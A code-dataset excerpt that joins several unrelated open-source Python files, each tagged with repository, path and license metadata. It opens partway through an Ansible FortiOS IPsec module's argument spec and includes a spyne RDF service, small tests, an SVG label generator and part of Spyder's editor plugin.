"absent"]}, "vpn_ipsec_phase1_interface": { "required": False, "type": "dict", "default": None, "options": { "acct_verify": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "add_gw_route": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "add_route": {"required": False, "type": "str", "choices": ["disable", "enable"]}, "assign_ip": {"required": False, "type": "str", "choices": ["disable", "enable"]}, "assign_ip_from": {"required": False, "type": "str", "choices": ["range", "usrgrp", "dhcp", "name"]}, "authmethod": {"required": False, "type": "str", "choices": ["psk", "signature"]}, "authmethod_remote": {"required": False, "type": "str", "choices": ["psk", "signature"]}, "authpasswd": {"required": False, "type": "str"}, "authusr": {"required": False, "type": "str"}, "authusrgrp": {"required": False, "type": "str"}, "auto_discovery_forwarder": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "auto_discovery_psk": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "auto_discovery_receiver": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "auto_discovery_sender": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "auto_negotiate": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "backup_gateway": {"required": False, "type": "list", "options": { "address": {"required": True, "type": "str"} }}, "banner": {"required": False, "type": "str"}, "cert_id_validation": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "certificate": {"required": False, "type": "list", "options": { "name": {"required": True, "type": "str"} }}, "childless_ike": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "client_auto_negotiate": {"required": False, "type": "str", "choices": ["disable", "enable"]}, "client_keep_alive": {"required": False, "type": "str", "choices": ["disable", "enable"]}, "comments": {"required": False, "type": "str"}, "default_gw": {"required": False, "type": "str"}, "default_gw_priority": {"required": False, "type": "int"}, "dhgrp": {"required": False, "type": "str", "choices": ["1", "2", "5", "14", "15", "16", "17", "18", "19", "20", "21", "27", "28", "29", "30", "31"]}, "digital_signature_auth": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "distance": {"required": False, "type": "int"}, "dns_mode": {"required": False, "type": "str", "choices": ["manual", "auto"]}, "domain": {"required": False, "type": "str"}, "dpd": {"required": False, "type": "str", "choices": ["disable", "on-idle", "on-demand"]}, "dpd_retrycount": {"required": False, "type": "int"}, "dpd_retryinterval": {"required": False, "type": "str"}, "eap": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "eap_identity": {"required": False, "type": "str", "choices": ["use-id-payload", "send-request"]}, "encap_local_gw4": {"required": False, "type": "str"}, "encap_local_gw6": {"required": False, "type": "str"}, "encap_remote_gw4": {"required": False, "type": "str"}, "encap_remote_gw6": {"required": False, "type": "str"}, "encapsulation": {"required": False, "type": "str", "choices": ["none", "gre", "vxlan"]}, "encapsulation_address": {"required": False, "type": "str", "choices": ["ike", "ipv4", "ipv6"]}, "enforce_unique_id": {"required": False, "type": "str", "choices": ["disable", "keep-new", "keep-old"]}, "exchange_interface_ip": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "exchange_ip_addr4": {"required": False, "type": "str"}, "exchange_ip_addr6": {"required": False, "type": "str"}, "forticlient_enforcement": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "fragmentation": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "fragmentation_mtu": {"required": False, "type": "int"}, "group_authentication": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "group_authentication_secret": {"required": False, "type": "str"}, "ha_sync_esp_seqno": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "idle_timeout": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "idle_timeoutinterval": {"required": False, "type": "int"}, "ike_version": {"required": False, "type": "str", "choices": ["1", "2"]}, "include_local_lan": {"required": False, "type": "str", "choices": ["disable", "enable"]}, "interface": {"required": False, "type": "str"}, "ip_version": {"required": False, "type": "str", "choices": ["4", "6"]}, "ipv4_dns_server1": {"required": False, "type": "str"}, "ipv4_dns_server2": {"required": False, "type": "str"}, "ipv4_dns_server3": {"required": False, "type": "str"}, "ipv4_end_ip": {"required": False, "type": "str"}, "ipv4_exclude_range": {"required": False, "type": "list", "options": { "end_ip": {"required": False, "type": "str"}, "id": {"required": True, "type": "int"}, "start_ip": {"required": False, "type": "str"} }}, "ipv4_name": {"required": False, "type": "str"}, "ipv4_netmask": {"required": False, "type": "str"}, "ipv4_split_exclude": {"required": False, "type": "str"}, "ipv4_split_include": {"required": False, "type": "str"}, "ipv4_start_ip": {"required": False, "type": "str"}, "ipv4_wins_server1": {"required": False, "type": "str"}, "ipv4_wins_server2": {"required": False, "type": "str"}, "ipv6_dns_server1": {"required": False, "type": "str"}, "ipv6_dns_server2": {"required": False, "type": "str"}, "ipv6_dns_server3": {"required": False, "type": "str"}, "ipv6_end_ip": {"required": False, "type": "str"}, "ipv6_exclude_range": {"required": False, "type": "list", "options": { "end_ip": {"required": False, "type": "str"}, "id": {"required": True, "type": "int"}, "start_ip": {"required": False, "type": "str"} }}, "ipv6_name": {"required": False, "type": "str"}, "ipv6_prefix": {"required": False, "type": "int"}, "ipv6_split_exclude": {"required": False, "type": "str"}, "ipv6_split_include": {"required": False, "type": "str"}, "ipv6_start_ip": {"required": False, "type": "str"}, "keepalive": {"required": False, "type": "int"}, "keylife": {"required": False, "type": "int"}, "local_gw": {"required": False, "type": "str"}, "local_gw6": {"required": False, "type": "str"}, "localid": {"required": False, "type": "str"}, "localid_type": {"required": False, "type": "str", "choices": ["auto", "fqdn", "user-fqdn", "keyid", "address", "asn1dn"]}, "mesh_selector_type": {"required": False, "type": "str", "choices": ["disable", "subnet", "host"]}, "mode": {"required": False, "type": "str", "choices": ["aggressive", "main"]}, "mode_cfg": {"required": False, "type": "str", "choices": ["disable", "enable"]}, "monitor": {"required": False, "type": "str"}, "monitor_hold_down_delay": {"required": False, "type": "int"}, "monitor_hold_down_time": {"required": False, "type": "str"}, "monitor_hold_down_type": {"required": False, "type": "str", "choices": ["immediate", "delay", "time"]}, "monitor_hold_down_weekday": {"required": False, "type": "str", "choices": ["everyday", "sunday", "monday", "tuesday", "wednesday", "thursday", "friday", "saturday"]}, "name": {"required": True, "type": "str"}, "nattraversal": {"required": False, "type": "str", "choices": ["enable", "disable", "forced"]}, "negotiate_timeout": {"required": False, "type": "int"}, "net_device": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "passive_mode": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "peer": {"required": False, "type": "str"}, "peergrp": {"required": False, "type": "str"}, "peerid": {"required": False, "type": "str"}, "peertype": {"required": False, "type": "str", "choices": ["any", "one", "dialup", "peer", "peergrp"]}, "ppk": {"required": False, "type": "str", "choices": ["disable", "allow", "require"]}, "ppk_identity": {"required": False, "type": "str"}, "ppk_secret": {"required": False, "type": "str"}, "priority": {"required": False, "type": "int"}, "proposal": {"required": False, "type": "str", "choices": ["des-md5", "des-sha1", "des-sha256", "des-sha384", "des-sha512"]}, "psksecret": {"required": False, "type": "str"}, "psksecret_remote": {"required": False, "type": "str"}, "reauth": {"required": False, "type": "str", "choices": ["disable", "enable"]}, "rekey": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "remote_gw": {"required": False, "type": "str"}, "remote_gw6": {"required": False, "type": "str"}, "remotegw_ddns": {"required": False, "type": "str"}, "rsa_signature_format": {"required": False, "type": "str", "choices": ["pkcs1", "pss"]}, "save_password": {"required": False, "type": "str", "choices": ["disable", "enable"]}, "send_cert_chain": {"required": False, "type": "str", "choices": ["enable", "disable"]}, "signature_hash_alg": {"required": False, "type": "str", "choices": ["sha1", "sha2-256", "sha2-384", "sha2-512"]}, "split_include_service": {"required": False, "type": "str"}, "suite_b": {"required": False, "type": "str", "choices": ["disable", "suite-b-gcm-128", "suite-b-gcm-256"]}, "tunnel_search": {"required": False, "type": "str", "choices": ["selectors", "nexthop"]}, "type": {"required": False, "type": "str", "choices": ["static", "dynamic", "ddns"]}, "unity_support": {"required": False, "type": "str", "choices": ["disable", "enable"]}, "usrgrp": {"required": False, "type": "str"}, "vni": {"required": False, "type": "int"}, "wizard_type": {"required": False, "type": "str", "choices": ["custom", "dialup-forticlient", "dialup-ios", "dialup-android", "dialup-windows", "dialup-cisco", "static-fortigate", "dialup-fortigate", "static-cisco", "dialup-cisco-fw"]}, "xauthtype": {"required": False, "type": "str", "choices": ["disable", "client", "pap", "chap", "auto"]} } } } module = AnsibleModule(argument_spec=fields, supports_check_mode=False) # legacy_mode refers to using fortiosapi instead of HTTPAPI legacy_mode = 'host' in module.params and module.params['host'] is not None and \ 'username' in module.params and module.params['username'] is not None and \ 'password' in module.params and module.params['password'] is not None if not legacy_mode: if module._socket_path: connection = Connection(module._socket_path) fos = FortiOSHandler(connection) is_error, has_changed, result = fortios_vpn_ipsec(module.params, fos) else: module.fail_json(**FAIL_SOCKET_MSG) else: try: from fortiosapi import FortiOSAPI except ImportError: module.fail_json(msg="fortiosapi module is required") fos = FortiOSAPI() login(module.params, fos) is_error, has_changed, result = fortios_vpn_ipsec(module.params, fos) fos.logout() if not is_error: module.exit_json(changed=has_changed, meta=result) else: module.fail_json(msg="Error in repo", meta=result) if __name__ == '__main__': main()
amenonsen/ansible
lib/ansible/modules/network/fortios/fortios_vpn_ipsec_phase1_interface.py
Python
gpl-3.0
59,722
# encoding: utf8 # # (C) Copyright Arskom Ltd. <[email protected]> # Uğurcan Ergün <[email protected]> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, # MA 02110-1301, USA. # from spyne.decorator import rpc from spyne.model.complex import ComplexModel from spyne.model.complex import XmlAttribute from spyne.model.primitive import AnyUri from spyne.model.primitive import Date from spyne.model.primitive import String from spyne.model.primitive import Unicode from spyne.service import ServiceBase from spyne.protocol.http import HttpPattern from spyne.util.odict import odict from spynepi.db import Package from spynepi.db import Person from spynepi.db import Release class RdfResource(XmlAttribute): __type_name__ = "resource" __namespace__ = "http://www.w3.org/1999/02/22-rdf-syntax-ns#" class Version(ComplexModel): __namespace__ = "http://usefulinc.com/ns/doap#" _type_info = odict([ ('name', String), ('created', Date), ('revision', String), #ns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" #TO-DO Add path#md5 -> rdf:resource as atrribute ('file-release', String), ("resource", RdfResource(String, ns="http://www.w3.org/1999/02/22-rdf-syntax-ns#", attribute_of="file-release")), ]) class RdfAbout(XmlAttribute): __type_name__ = "about" __namespace__ = "http://www.w3.org/1999/02/22-rdf-syntax-ns#" class Release(ComplexModel): __namespace__ = "http://usefulinc.com/ns/doap#" _type_info = odict([ ('about', RdfAbout(String, ns="http://www.w3.org/1999/02/22-rdf-syntax-ns#")), ('Version', Version), ]) class Person(ComplexModel): __namespace__ = "http://xmlns.com/foaf/0.1/" _type_info = odict([ ('name', String), #TO-DO Add atrribute ('mbox', String), ]) class Developer(ComplexModel): __namespace__ = "http://xmlns.com/foaf/0.1/" _type_info = odict([ ('Person', Person) ]) class Project(ComplexModel): __namespace__ = "http://usefulinc.com/ns/doap#" _type_info = odict([ ('about', RdfAbout(String, ns="http://www.w3.org/1999/02/22-rdf-syntax-ns#")), ('name', String), ('created', Date), ('shortdesc', Unicode), ('homepage', String), ('developer', Developer), ('release', Release.customize(max_occurs=float('inf'))), ]) class Index(ComplexModel): _type_info = odict([ ("Updated", Date), ("Package", AnyUri), ("Description", String), ]) class RdfService(ServiceBase): @rpc(Unicode, Unicode, _returns=Project, _patterns=[ HttpPattern("/<project_name>/doap.rdf"), HttpPattern("/<project_name>/<version>/doap.rdf"), ]) def get_doap(ctx, project_name, version): package = ctx.udc.session.query(Package).filter_by(package_name=project_name).one() return Project( about=package.package_name, name=package.package_name, created=package.package_cdate, shortdesc=package.package_description, homepage=package.package_home_page, developer=Developer( Person=Person( name=package.owners[0].person_name, mbox=package.owners[0].person_email ) ), release=( Release( about=rel.rdf_about, Version=Version(**{ "name": package.package_name, "created": rel.release_cdate, "revision": rel.release_version, 'file-release': rel.distributions[0].content_name, "resource": '%s/%s#%s' % ( rel.distributions[0].content_path, rel.distributions[0].content_name, rel.distributions[0].dist_md5, ) }) ) for rel in package.releases ) ) def _on_method_return_document(ctx): ctx.out_document = ctx.out_document[0] ctx.out_document.tag = "{http://usefulinc.com/ns/doap#}Project" RdfService.event_manager.add_listener('method_return_document', _on_method_return_document)
ugurcan377/spynepi
spynepi/entity/project.py
Python
gpl-3.0
5,040
def my_parse_int(s): try: return int(s) except: return 'NaN'
VladKha/CodeWars
7 kyu/String to integer conversion/solve.py
Python
gpl-3.0
85
"""Tests for the bob_emploi.importer.geonames_city_suggest module.""" from os import path import unittest from bob_emploi.data_analysis.importer.deployments.usa import counties class CountiesTestCase(unittest.TestCase): """Integration tests for the upload function.""" testdata_folder = path.join(path.dirname(__file__), 'testdata') def test_upload(self) -> None: """Test the full upload.""" found_counties = counties.make_dicts( path.join(self.testdata_folder, 'geonames_admin.txt'), path.join(self.testdata_folder, 'usa/states.txt'), ) self.assertEqual(5, len(found_counties), msg=found_counties) self.assertEqual( [ 'Aleutians West Census Area, Alaska', 'Allegheny County, Pennsylvania', 'Bronx County, New York', 'Honolulu County, Hawaii', 'New York City, New York' ], [county.get('name') for county in found_counties]) county = next( c for c in found_counties if c.get('name') == 'Aleutians West Census Area, Alaska') self.assertEqual('2016', county.get('_id'), msg=county) if __name__ == '__main__': unittest.main()
bayesimpact/bob-emploi
data_analysis/importer/deployments/usa/test/counties_test.py
Python
gpl-3.0
1,268
from registry.models import Passport, Visit from registry.extensions import db def test_sweep_closes_visits(app): """Visits are ordered by check_in""" with app.test_request_context(): passport = Passport(surname='John', name='Doe', pass_id=111, phone='123', age=7, address='Musterweg') db.session.add(passport) db.session.commit() passport.check_in() passport.check_out() passport = Passport(surname='John', name='Doe', pass_id=112, phone='123', age=7, address='Musterweg') passport.check_in() passport = Passport(surname='John', name='Doe', pass_id=113, phone='123', age=7, address='Musterweg') passport.check_in() passport.check_out() passport = Passport(surname='John', name='Doe', pass_id=114, phone='123', age=7, address='Musterweg') passport.check_in() Visit.sweep() assert Visit.query.filter(Visit.sweeped == None).count() == 2 assert Visit.query.filter( Visit.sweeped != None, Visit.check_out != None).count() == 2
arsgeografica/kinderstadt-registry
test/unit/test_sweep.py
Python
gpl-3.0
1,182
import svgwrite from svgwrite.text import TSpan import csv rows = 10 columns = 3 labelsize = { 'x': 2.5935, 'y': 1.0 } leftMargin = 0.21975 rightMargin = 0.21975 topMargin = 0.5 bottomMargin = 0.5 horSpacing = 0.14 vertSpacing = 0.0 fontSize = 12 yTxtSpacing = fontSize addresses = [] with open('Baby Shower Guest List.csv', 'r') as csvFile: addressList = csv.reader(csvFile,delimiter=",", quotechar='"') for address in addressList: addresses.append(address[:3]) print addresses dwg = svgwrite.Drawing("labels.svg", ('8.5in','11in'), profile='tiny') addressIndex = 0 for xRow in range(rows): for yCol in range(columns): xPos = leftMargin + (labelsize['x'] / 2 * (yCol + 1)) + (horSpacing * yCol) yPos = topMargin + (labelsize['y'] / 2 * (xRow + 1)) + (vertSpacing * xRow) txt = dwg.text(addresses[addressIndex][0], insert=(str(xPos) + 'in', str(yPos) + 'in'),fill='black', text_anchor="middle", font_size=fontSize) for i in range(2): txt.add(TSpan(addresses[addressIndex][i + 1],x=[str(xPos) + 'in'],dy=[yTxtSpacing])) txt.update({'text_anchor':"middle", 'x':str(xPos) + 'in', 'y':str(yPos) + 'in'}) dwg.add(txt) addressIndex += 1 print xPos, yPos dwg.save()
g19fanatic/labelSVG
labels.py
Python
gpl-3.0
1,197
# -*- coding: utf-8 -*- # # Copyright © 2009-2010 Pierre Raybaut # Licensed under the terms of the MIT License # (see spyderlib/__init__.py for details) """Editor Plugin""" # pylint: disable=C0103 # pylint: disable=R0903 # pylint: disable=R0911 # pylint: disable=R0201 from spyderlib.qt.QtGui import (QVBoxLayout, QPrintDialog, QSplitter, QToolBar, QAction, QApplication, QDialog, QWidget, QPrinter, QActionGroup, QInputDialog, QMenu, QAbstractPrintDialog, QGroupBox, QTabWidget, QLabel, QFontComboBox, QHBoxLayout) from spyderlib.qt.QtCore import SIGNAL, QByteArray, Qt, Slot from spyderlib.qt.compat import to_qvariant, from_qvariant, getopenfilenames import os import time import re import os.path as osp # Local imports from spyderlib.utils import encoding, sourcecode, codeanalysis from spyderlib.baseconfig import get_conf_path, _ from spyderlib.config import get_icon, CONF, get_color_scheme, EDIT_FILTERS from spyderlib.utils import programs from spyderlib.utils.qthelpers import (create_action, add_actions, get_std_icon, get_filetype_icon) from spyderlib.widgets.findreplace import FindReplace from spyderlib.widgets.editor import (ReadWriteStatus, EncodingStatus, CursorPositionStatus, EOLStatus, EditorSplitter, EditorStack, Printer, EditorMainWindow) from spyderlib.plugins import SpyderPluginWidget, PluginConfigPage from spyderlib.plugins.runconfig import (RunConfigDialog, RunConfigOneDialog, get_run_configuration) def _load_all_breakpoints(): bp_dict = CONF.get('run', 'breakpoints', {}) for filename in bp_dict.keys(): if not osp.isfile(filename): bp_dict.pop(filename) return bp_dict def load_breakpoints(filename): breakpoints = _load_all_breakpoints().get(filename, []) if breakpoints and isinstance(breakpoints[0], int): # Old breakpoints format breakpoints = [(lineno, None) for lineno in breakpoints] return breakpoints def save_breakpoints(filename, breakpoints): if not osp.isfile(filename): return bp_dict = _load_all_breakpoints() bp_dict[filename] = breakpoints CONF.set('run', 'breakpoints', bp_dict) def clear_all_breakpoints(): CONF.set('run', 'breakpoints', {}) WINPDB_PATH = programs.find_program('winpdb') class EditorConfigPage(PluginConfigPage): def __init__(self, plugin, parent): PluginConfigPage.__init__(self, plugin, parent) self.get_name = lambda: _("Editor") def setup_page(self): template_btn = self.create_button(_("Edit template for new modules"), self.plugin.edit_template) interface_group = QGroupBox(_("Interface")) font_group = self.create_fontgroup(option=None, text=_("Text and margin font style"), fontfilters=QFontComboBox.MonospacedFonts) newcb = self.create_checkbox fpsorting_box = newcb(_("Sort files according to full path"), 'fullpath_sorting') showtabbar_box = newcb(_("Show tab bar"), 'show_tab_bar') interface_layout = QVBoxLayout() interface_layout.addWidget(fpsorting_box) interface_layout.addWidget(showtabbar_box) interface_group.setLayout(interface_layout) display_group = QGroupBox(_("Source code")) linenumbers_box = newcb(_("Show line numbers"), 'line_numbers') edgeline_box = newcb(_("Show vertical line after"), 'edge_line') edgeline_spin = self.create_spinbox("", _("characters"), 'edge_line_column', 79, 1, 500) self.connect(edgeline_box, SIGNAL("toggled(bool)"), edgeline_spin.setEnabled) edgeline_spin.setEnabled(self.get_option('edge_line')) edgeline_layout = QHBoxLayout() edgeline_layout.addWidget(edgeline_box) edgeline_layout.addWidget(edgeline_spin) currentline_box = newcb(_("Highlight current line"), 'highlight_current_line', default=True) occurence_box = newcb(_("Highlight occurences after"), 'occurence_highlighting', default=True) occurence_spin = self.create_spinbox("", " ms", 'occurence_highlighting/timeout', min_=100, max_=1000000, step=100) self.connect(occurence_box, SIGNAL("toggled(bool)"), occurence_spin.setEnabled) occurence_layout = QHBoxLayout() occurence_layout.addWidget(occurence_box) occurence_layout.addWidget(occurence_spin) wrap_mode_box = newcb(_("Wrap lines"), 'wrap') names = CONF.get('color_schemes', 'names') choices = zip(names, names) cs_combo = self.create_combobox(_("Syntax color scheme: "), choices, 'color_scheme_name') display_layout = QVBoxLayout() display_layout.addWidget(linenumbers_box) display_layout.addLayout(edgeline_layout) display_layout.addWidget(currentline_box) display_layout.addLayout(occurence_layout) display_layout.addWidget(wrap_mode_box) display_layout.addWidget(cs_combo) display_group.setLayout(display_layout) run_group = QGroupBox(_("Run")) saveall_box = newcb(_("Save all files before running script"), 'save_all_before_run', True) introspection_group = QGroupBox(_("Introspection")) rope_is_installed = programs.is_module_installed('rope') if rope_is_installed: completion_box = newcb(_("Automatic code completion"), 'codecompletion/auto') case_comp_box = newcb(_("Case sensitive code completion"), 'codecompletion/case_sensitive') show_single_box = newcb(_("Show single completion"), 'codecompletion/show_single') comp_enter_box = newcb(_("Enter key selects completion"), 'codecompletion/enter_key') calltips_box = newcb(_("Balloon tips"), 'calltips') gotodef_box = newcb(_("Link to object definition"), 'go_to_definition', tip=_("If this option is enabled, clicking on an object\n" "name (left-click + Ctrl key) will go this object\n" "definition (if resolved).")) inspector_box = newcb( _("Automatic notification to object inspector"), 'object_inspector', default=True, tip=_("If this option is enabled, object inspector\n" "will automatically show informations on functions\n" "entered in editor (this is triggered when entering\n" "a left parenthesis after a valid function name)")) else: rope_label = QLabel(_("<b>Warning:</b><br>" "The Python module <i>rope</i> is not " "installed on this computer: calltips, " "code completion and go-to-definition " "features won't be available.")) rope_label.setWordWrap(True) sourcecode_group = QGroupBox(_("Source code")) closepar_box = newcb(_("Automatic parentheses, braces and " "brackets insertion"), 'close_parentheses') autounindent_box = newcb(_("Automatic indentation after 'else', " "'elif', etc."), 'auto_unindent') indent_chars_box = self.create_combobox(_("Indentation characters: "), ((_("4 spaces"), '* *'), (_("2 spaces"), '* *'), (_("tab"), '*\t*')), 'indent_chars') tabwidth_spin = self.create_spinbox(_("Tab stop width:"), _("pixels"), 'tab_stop_width', 40, 10, 1000, 10) tab_mode_box = newcb(_("Tab always indent"), 'tab_always_indent', default=False, tip=_("If enabled, pressing Tab will always indent,\n" "even when the cursor is not at the beginning\n" "of a line (when this option is enabled, code\n" "completion may be triggered using the alternate\n" "shortcut: Ctrl+Space)")) ibackspace_box = newcb(_("Intelligent backspace"), 'intelligent_backspace', default=True) removetrail_box = newcb(_("Automatically remove trailing spaces " "when saving files"), 'always_remove_trailing_spaces', default=False) analysis_group = QGroupBox(_("Analysis")) pep8_url = '<a href="http://www.python.org/dev/peps/pep-0008/">PEP8</a>' analysis_label = QLabel(_("<u>Note</u>: add <b>analysis:ignore</b> in " "a comment to ignore code/style analysis " "warnings. For more informations on style " "guide for Python code, please refer to the " "%s page.") % pep8_url) analysis_label.setWordWrap(True) is_pyflakes = codeanalysis.is_pyflakes_installed() is_pep8 = codeanalysis.get_checker_executable('pep8') is not None analysis_label.setEnabled(is_pyflakes or is_pep8) pyflakes_box = newcb(_("Code analysis")+" (pyflakes)", 'code_analysis/pyflakes', default=True, tip=_("If enabled, Python source code will be analyzed\n" "using pyflakes, lines containing errors or \n" "warnings will be highlighted")) pyflakes_box.setEnabled(is_pyflakes) if not is_pyflakes: pyflakes_box.setToolTip(_("Code analysis requires pyflakes %s+") % codeanalysis.PYFLAKES_REQVER) pep8_box = newcb(_("Style analysis")+' (pep8)', 'code_analysis/pep8', default=False, tip=_('If enabled, Python source code will be analyzed\n' 'using pep8, lines that are not following PEP8\n' 'style guide will be highlighted')) pep8_box.setEnabled(is_pep8) ancb_layout = QHBoxLayout() ancb_layout.addWidget(pyflakes_box) ancb_layout.addWidget(pep8_box) todolist_box = newcb(_("Tasks (TODO, FIXME, XXX, HINT, TIP)"), 'todo_list', default=True) realtime_radio = self.create_radiobutton( _("Perform analysis when " "saving file and every"), 'realtime_analysis', True) saveonly_radio = self.create_radiobutton( _("Perform analysis only " "when saving file"), 'onsave_analysis', False) af_spin = self.create_spinbox("", " ms", 'realtime_analysis/timeout', min_=100, max_=1000000, step=100) af_layout = QHBoxLayout() af_layout.addWidget(realtime_radio) af_layout.addWidget(af_spin) run_layout = QVBoxLayout() run_layout.addWidget(saveall_box) run_group.setLayout(run_layout) introspection_layout = QVBoxLayout() if rope_is_installed: introspection_layout.addWidget(calltips_box) introspection_layout.addWidget(completion_box) introspection_layout.addWidget(case_comp_box) introspection_layout.addWidget(show_single_box) introspection_layout.addWidget(comp_enter_box) introspection_layout.addWidget(gotodef_box) introspection_layout.addWidget(inspector_box) else: introspection_layout.addWidget(rope_label) introspection_group.setLayout(introspection_layout) analysis_layout = QVBoxLayout() analysis_layout.addWidget(analysis_label) analysis_layout.addLayout(ancb_layout) analysis_layout.addWidget(todolist_box) analysis_layout.addLayout(af_layout) analysis_layout.addWidget(saveonly_radio) analysis_group.setLayout(analysis_layout) sourcecode_layout = QVBoxLayout() sourcecode_layout.addWidget(closepar_box) sourcecode_layout.addWidget(autounindent_box) sourcecode_layout.addWidget(indent_chars_box) sourcecode_layout.addWidget(tabwidth_spin) sourcecode_layout.addWidget(tab_mode_box) sourcecode_layout.addWidget(ibackspace_box) sourcecode_layout.addWidget(removetrail_box) sourcecode_group.setLayout(sourcecode_layout) eol_group = QGroupBox(_("End-of-line characters")) eol_label = QLabel(_("When opening a text file containing " "mixed end-of-line characters (this may " "raise syntax errors in Python interpreter " "on Windows platforms), Spyder may fix the " "file automatically.")) eol_label.setWordWrap(True) check_eol_box = newcb(_("Fix automatically and show warning " "message box"), 'check_eol_chars', default=True) eol_layout = QVBoxLayout() eol_layout.addWidget(eol_label) eol_layout.addWidget(check_eol_box) eol_group.setLayout(eol_layout) tabs = QTabWidget() tabs.addTab(self.create_tab(font_group, interface_group, display_group), _("Display")) tabs.addTab(self.create_tab(introspection_group, analysis_group), _("Code Introspection/Analysis")) tabs.addTab(self.create_tab(template_btn, run_group, sourcecode_group, eol_group), _("Advanced settings")) vlayout = QVBoxLayout() vlayout.addWidget(tabs) self.setLayout(vlayout) class Editor(SpyderPluginWidget): """ Multi-file Editor widget """ CONF_SECTION = 'editor' CONFIGWIDGET_CLASS = EditorConfigPage TEMPFILE_PATH = get_conf_path('.temp.py') TEMPLATE_PATH = get_conf_path('template.py') DISABLE_ACTIONS_WHEN_HIDDEN = False # SpyderPluginWidget class attribute def __init__(self, parent, ignore_last_opened_files=False): SpyderPluginWidget.__init__(self, parent) self.__set_eol_chars = True self.set_default_color_scheme() # Creating template if it doesn't already exist if not osp.isfile(self.TEMPLATE_PATH): header = ['# -*- coding: utf-8 -*-', '"""', 'Created on %(date)s', '', '@author: %(username)s', '"""', ''] encoding.write(os.linesep.join(header), self.TEMPLATE_PATH, 'utf-8') self.projectexplorer = None self.outlineexplorer = None self.inspector = None self.editorstacks = None self.editorwindows = None self.editorwindows_to_be_created = None self.file_dependent_actions = [] self.pythonfile_dependent_actions = [] self.dock_toolbar_actions = None self.edit_menu_actions = None #XXX: find another way to notify Spyder # (see spyder.py: 'update_edit_menu' method) self.search_menu_actions = None #XXX: same thing ('update_search_menu') self.stack_menu_actions = None # Initialize plugin self.initialize_plugin() # Configuration dialog size self.configdialog_size = None statusbar = self.main.statusBar() self.readwrite_status = ReadWriteStatus(self, statusbar) self.eol_status = EOLStatus(self, statusbar) self.encoding_status = EncodingStatus(self, statusbar) self.cursorpos_status = CursorPositionStatus(self, statusbar) layout = QVBoxLayout() self.dock_toolbar = QToolBar(self) add_actions(self.dock_toolbar, self.dock_toolbar_actions) layout.addWidget(self.dock_toolbar) self.last_edit_cursor_pos = None self.cursor_pos_history = [] self.cursor_pos_index = None self.__ignore_cursor_position = True self.editorstacks = [] self.last_focus_editorstack = {} self.editorwindows = [] self.editorwindows_to_be_created = [] self.toolbar_list = None self.menu_list = None # Setup new windows: self.connect(self.main, SIGNAL('all_actions_defined()'), self.setup_other_windows) # Find widget self.find_widget = FindReplace(self, enable_replace=True) self.find_widget.hide() self.register_widget_shortcuts("Editor", self.find_widget) # Tabbed editor widget + Find/Replace widget editor_widgets = QWidget(self) editor_layout = QVBoxLayout() editor_layout.setContentsMargins(0, 0, 0, 0) editor_widgets.setLayout(editor_layout) self.editorsplitter = EditorSplitter(self, self, self.stack_menu_actions, first=True) editor_layout.addWidget(self.editorsplitter) editor_layout.addWidget(self.find_widget) # Splitter: editor widgets (see above) + outline explorer self.splitter = QSplitter(self) self.splitter.setContentsMargins(0, 0, 0, 0) self.splitter.addWidget(editor_widgets) self.splitter.setStretchFactor(0, 5) self.splitter.setStretchFactor(1, 1) layout.addWidget(self.splitter) self.setLayout(layout) # Editor's splitter state state = self.get_option('splitter_state', None) if state is not None: self.splitter.restoreState( QByteArray().fromHex(str(state)) ) self.recent_files = self.get_option('recent_files', []) self.untitled_num = 0 filenames = self.get_option('filenames', []) if filenames and not ignore_last_opened_files: self.load(filenames) layout = self.get_option('layout_settings', None) if layout is not None: self.editorsplitter.set_layout_settings(layout) win_layout = self.get_option('windows_layout_settings', None) if win_layout: for layout_settings in win_layout: self.editorwindows_to_be_created.append(layout_settings) self.set_last_focus_editorstack(self, self.editorstacks[0]) else: self.__load_temp_file() # Parameters of last file execution: self.__last_ic_exec = None # internal console self.__last_ec_exec = None # external console self.__ignore_cursor_position = False current_editor = self.get_current_editor() if current_editor is not None: filename = self.get_current_filename() position = current_editor.get_position('cursor') self.add_cursor_position_to_history(filename, position) self.update_cursorpos_actions() def set_projectexplorer(self, projectexplorer): self.projectexplorer = projectexplorer def show_hide_project_explorer(self): if self.projectexplorer is not None: dw = self.projectexplorer.dockwidget if dw.isVisible(): dw.hide() else: dw.show() dw.raise_() self.switch_to_plugin() def set_outlineexplorer(self, outlineexplorer): self.outlineexplorer = outlineexplorer for editorstack in self.editorstacks: editorstack.set_outlineexplorer(self.outlineexplorer) self.connect(self.outlineexplorer, SIGNAL("edit_goto(QString,int,QString)"), lambda filenames, goto, word: self.load(filenames=filenames, goto=goto, word=word, editorwindow=self)) def show_hide_outline_explorer(self): if self.outlineexplorer is not None: dw = self.outlineexplorer.dockwidget if dw.isVisible(): dw.hide() else: dw.show() dw.raise_() self.switch_to_plugin() def set_inspector(self, inspector): self.inspector = inspector for editorstack in self.editorstacks: editorstack.set_inspector(self.inspector) #------ Private API -------------------------------------------------------- def restore_scrollbar_position(self): """Restoring scrollbar position after main window is visible""" # Widget is now visible, we may center cursor on top level editor: 